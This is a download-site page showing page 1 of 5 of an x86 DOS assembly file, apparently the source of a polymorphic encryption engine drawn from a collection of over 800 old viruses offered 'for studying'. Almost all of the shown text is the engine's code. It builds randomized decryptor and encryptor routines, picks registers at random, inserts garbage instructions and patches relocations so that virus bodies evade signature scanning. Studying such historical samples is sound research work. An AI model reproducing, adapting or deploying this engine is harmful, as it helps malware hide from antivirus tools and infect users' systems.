⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dame091.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
        jz      s1
        call    get_rand                        ; get a random initial value
        mov     _pointer_value1,ax              ; for the pointer register
        call    get_another                     ; get a counter register
s1:     stosb                                   ; Store the counter register

        xchg    ax,dx

        mov     al,84                           ; Assume no encryption register
        call    one_in_two                      ; 50% change of having an
        js      s2                              ; encryption register
                                                ; Note: This merely serves as
                                                ; an extra register and may or
                                                ; may not be used as the
                                                ; encryption register.
        call    get_another                     ; get a register to serve as
s2:     stosb                                   ; the encryption register

        cmp     ax,dx                           ; normalise counter/encryption
        ja      s3                              ; register pair so that the
        xchg    ax,dx                           ; smaller one is always in the  
s3:     mov     ah,dl                           ; high byte
        cmp     ax,305                          ; both BX and BP used?
        jz      s0                              ; then try again
        cmp     ax,607                          ; both SI and DI used?
        jz      s0                              ; try once more

s4:     mov     si,offset reg_table1            ; Use the table
        mov     ax,3                            ; Assume one pointer register
        test    ch,80                           ; Using two registers?
        jz      use_one_pointer_reg
        add     si,4*3                          ; Go to two register table
        add     al,4                            ; Then use appropriate mask
use_one_pointer_reg:
        call    get_rand_bx                     ; Get a random value
        and     bx,ax                           ; Apply mask to it
        add     si,bx                           ; Adjust table offset
        add     bx,bx                           ; Double the mask
        add     si,bx                           ; Now table offset is right
        lodsw                                   ; Get the random register pair
        mov     bx,ax                           ; Check if the register in the
        and     bx,7                            ; low byte is already used
        cmp     byte ptr [bx+_used_regs],0
        jnz     s4                              ; If so, try again
        mov     bl,ah                           ; Otherwise, check if there is
        or      bl,bl                           ; a register in the high byte
        js      s5                              ; If not, we are done
        cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
        jnz     s4                              ; already used
s5:     stosw                                   ; Store _pointer_reg1, 
        movsb                                   ; _pointer_reg2, and 
                                                ; _pointer_rm
calculate_maxnest:
        call    get_rand                        ; Random value for _maxnest
        and     al,0f                           ; from 0 to MAXNEST
        cmp     al,MAXNEST                      ; Is it too large?
        ja      calculate_maxnest               ; If so, try again
        stosb                                   ; Otherwise, we have _maxnest

        call    clear_used_regs                 ; mark no registers used
encode_setup:                                   ; encode setup portion
        mov     di,_decryptpointer              ; (pre-loop) of the routines
        call    twogarble                       ; start by doing some garbling
                                                ; on the decryption routine
        mov     si,offset _counter_reg          ; now move the initial
        push    si                              ; values into each variable
encode_setup_get_another:                       ; register -- encode them in a
        call    get_rand_bx                     ; random order for further
                                                ; variability
        and     bx,3                            ; get a random register to en-
        mov     al,[si+bx]                      ; code, i.e. counter, pointer,
        cbw                                     ; or encryption value register
        test    al,80                           ; is it already encoded?
        jnz     encode_setup_get_another        ; then get another register

        or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
        mov     si,ax                           ; local and
        inc     byte ptr [si+_used_regs]        ; master areas

        add     bx,bx                           ; convert to word offset
        mov     dx,word ptr [bx+_counter_value] ; find value to set the
                                                ; register to
        mov     _nest,0                         ; clear the current nest count
        call    mov_reg_xxxx                    ; and encode decryption routine
                                                ; instruction
        call    twogarble                       ; garble it some more
        call    swap_decrypt_encrypt            ; now work on the encryption
                                                ; routine
        push    cx                              ; save the current bitmap
        and     cl,not 7                        ; encode short routines only
        call    _mov_reg_xxxx                   ; encode the encryption routine
                                                ; instruction
        pop     cx                              ; restore bitmap

        mov     _encryptpointer,di              ; return attention to the
                                                ; decryption routine
        pop     si
        mov     dx,4
encode_setup_check_if_done:                     ; check if all the variables
                                                ; have been encoded
        lodsb                                   ; get the variable
        test    al,80                           ; is it encoded?
        jz      encode_setup                    ; nope, so continue encoding
        dec     dx                              ; else check the next variable
        jnz     encode_setup_check_if_done      ; loop upwards

        mov     si,offset _encryptpointer       ; Save the addresses of the 
        mov     di,offset _loopstartencrypt     ; beginning of the loop in
        movsw                                   ; the encryption and decryption
        movsw                                   ; routines

; Encode the encryption/decryption part of loop
        mov     _relocate_amt,0                 ; reset relocation amount
        call    do_encrypt1                     ; encode encryption

        test    ch,40                           ; dword encryption?
        jz      dont_encrypt2                   ; nope, skip

        mov     _relocate_amt,2                 ; handle next word to encrypt
        call    do_encrypt1                     ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop.  All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
        mov     bx,offset _loopstartencrypt     ; first work on the encryption
        push    cx                              ; save the bitmap
        and     cl,not 7                        ; disable garbling/big routines
        call    encodejmp                       ; encode the jmp instruction
        pop     cx                              ; restore the bitmap

        mov     ax,0c3fc ; cld, ret             ; encode return instruction
        stosw                                   ; in the encryption routine

        mov     si,offset _encrypt_relocator    ; now fix the memory
        mov     di,_start_encrypt               ; manipulation instructions

        push    cx                              ; cx is not auto-preserved
        call    relocate                        ; fix address references
        pop     cx                              ; restore cx

        mov     bx,offset _loopstartdecrypt     ; Now work on decryption
        call    encodejmp                       ; Encode the jmp instruction
        push    di                              ; Save the current pointer
        call    clear_used_regs                 ; Mark all registers unused
        pop     di                              ; Restore the pointer
        call    twogarble                       ; Garble some more
        test    cl,8                            ; Paragraph alignment on
        jnz     align_paragraph                 ; entry to virus?
        test    ch,20                           ; If it is a backwards
        jz      no_clear_prefetch               ; decryption, then flush the
        call    clear_PIQ                       ; prefetch queue (for 386+)
no_clear_prefetch:                              ; Curse the PIQ!!!!!
        call    twogarble                       ; Garble: the final chapter
        jmp     short PIQ_done
align_paragraph:
        mov     dx,di                           ; Get current pointer location
        sub     dx,_decryptpointer2             ; Calculate offset when control
        add     dx,_start_decrypt               ; is transfered to the carrier
        inc     dx                              ; Adjust for the JMP SHORT
        inc     dx
        neg     dx
        and     dx,0f                           ; Align on the next paragraph
        cmp     dl,10-2                         ; Do we need to JMP?
        jnz     $+7                             ; Yes, do it now
        test    ch,20                           ; Otherwise, check if we need
        jz      PIQ_done                        ; to clear the prefetch anyway
        call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
PIQ_done:
        mov     _decryptpointer,di

        mov     si,offset _decrypt_relocator    ; Calculate relocation amount
        sub     di,_decryptpointer2
        add     di,_start_decrypt
relocate:
        test    ch,20                           ; Encrypting forwards or
        jz      do_encrypt_backwards            ; backwards?
        add     di,_encrypt_length              ; Backwards is /<0oI_
do_encrypt_backwards:                           ; uh huh uh huh uh huh
        sub     di,_pointer_value1              ; Calculate relocation amount
        sub     di,_pointer_value2
        mov     cx,word ptr [si-2]              ; Get relocation count
        jcxz    exit_relocate                   ; Exit if nothing to do
        xchg    ax,di                           ; Otherwise we be in business
relocate_loop:                                  ; Here we go, yo
        xchg    ax,di
        lodsw                                   ; Get address to relocate
        xchg    ax,di
        add     [di],ax                         ; Relocate mah arse!
        loop    relocate_loop                   ; Do it again 7 times
exit_relocate:                                  ; ('cause that makes 8)
        mov     di,_decryptpointer              ; Calculate the decryption
        mov     cx,di                           ; routine size to pass
        sub     cx,_decryptpointer2             ; back to the caller
        ret

encodejmp:
        mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]

        push    bx
        mov     _nest,0                         ; Reset nest count
        mov     al,_pointer_reg1                ; Get the pointer register
        and     ax,7                            ; Mask out any modifications
        mov     dx,2                            ; Assume word encryption
        test    ch,40                           ; Word or Dword?
        jz      update_pointer1
        shl     dx,1                            ; Adjust for Dword encryption
update_pointer1:
        test    ch,20                           ; Forwards or backwards?
        jz      update_pointer2
        neg     dx                              ; Adjust for backwards
update_pointer2:
        test    ch,80                           ; Are there two pointers?
        jz      update_pointer_now              ; Continue only if so

        sar     dx,1                            ; Halve the add value
        push    ax                              ; Save register to add
        call    add_reg_xxxx                    ; Add to first register
        mov     al,_pointer_reg2
        and     ax,7                            ; Add to the second pointer
        call    add_reg_xxxx                    ; register
        pop     bx
        test    ch,8                            ; Using a counter register?
        jnz     update_pointer_done             ; If not, continue this

        push    bx                              ; Save first register
        xchg    ax,dx                           ; Move second register to DX
        call    get_another                     ; Get new register regX
        call    mov_reg_reg                     ; MOV regX, _pointer_reg2
        pop     dx                              ; Restore first register
        call    add_reg_reg                     ; ADD regX, _pointer_reg1
        call    clear_reg                       ; Clear the temp register
        jmp     short update_pointer_done       ; Skip adjustment of pointer
                                                ; register (already done)
update_pointer_now:
        call    add_reg_xxxx                    ; Adjust pointer register
update_pointer_done:
        mov     dl,75                           ; Assume JNZ

        mov     al,_counter_reg                 ; Is there a counter register?
        and     ax,7
        cmp     al,_sp
        jz      do_jnz

        push    dx                              ; Save JNZ
        mov     dx,1                            ; Assume adjustment of one

        test    ch,10                           ; Check counter direction
        jz      go_counter_forwards             ; If forwards, increment the
                                                ; counter
        cmp     al,_cx                          ; Check if the counter is CX
        jnz     regular                         ; If not, then decrement the
                                                ; counter and continue
        call    one_in_two                      ; Otherwise, there is a 50%
        js      regular                         ; chance of using a LOOP

        pop     dx
        mov     dl,0e2                          ; let us encode the LOOP
        jmp     short do_jnz

regular:neg     dx
go_counter_forwards:
        call    add_reg_xxxx                    ; Adjust counter register
        pop     dx
do_jnz: pop     bx
        mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
        sub     ax,di                           ; back
        dec     ax
        dec     ax
        xchg    ah,al                           ; Value is in AL
        mov     al,dl   ; jnz

        or      ah,ah                           ; Value >= 128?  If so, it is
        js      jmplocation_okay                ; impossible to JNZ/LOOP there
                                                ; due to stupid 8086 limitation
        pop     ax ax                           ; Take return locations off
        jmp     redo_dame                       ; the stack and encode again
jmplocation_okay:
        stosw                                   ; Encode JNZ/LOOP instruction
        mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
        ret                                     ; Save current location

encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
        and     ch,not 4                        ; Default = no double reference
        call    one_in_two                      ; But there is a 50% chance of
        js      not_double_reference            ; using a double reference
        or      ch,4                            ; Yes, we are indeed using it
not_double_reference:
        mov     di,_decryptpointer              ; Set the registers to work
        mov     bp,offset _decrypt_relocate_num ; with the decryption routine
        call    twogarble                       ; Insert some null instructions

        xor     ax,ax                           ; Get the value for the rm
        mov     al,_pointer_rm                  ; field corresponding to the
                                                ; pointer register/s used
        call    choose_routine                  ; Get random decryption type
        call    go_next                         ; to DX, BX, SI
        push    si dx si dx                     ; Save crypt value/register
                                                ; and crypt pointer
;;        mov     _nest,0 ; not needed - choose_routine does it
        test    ch,4
        jz      not_double_reference1           ; Double reference?

        xchg    ax,dx                           ; Pointer register/s to dx
        call    get_another                     ; Unused register to AX (reg1)
        call    mov_reg_reg                     ; MOV reg1,[pointer]
        mov     _kludge,dx                      ; Store the pointer register
not_double_reference1:
        pop     dx si                           ; Restore decryption pointer

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -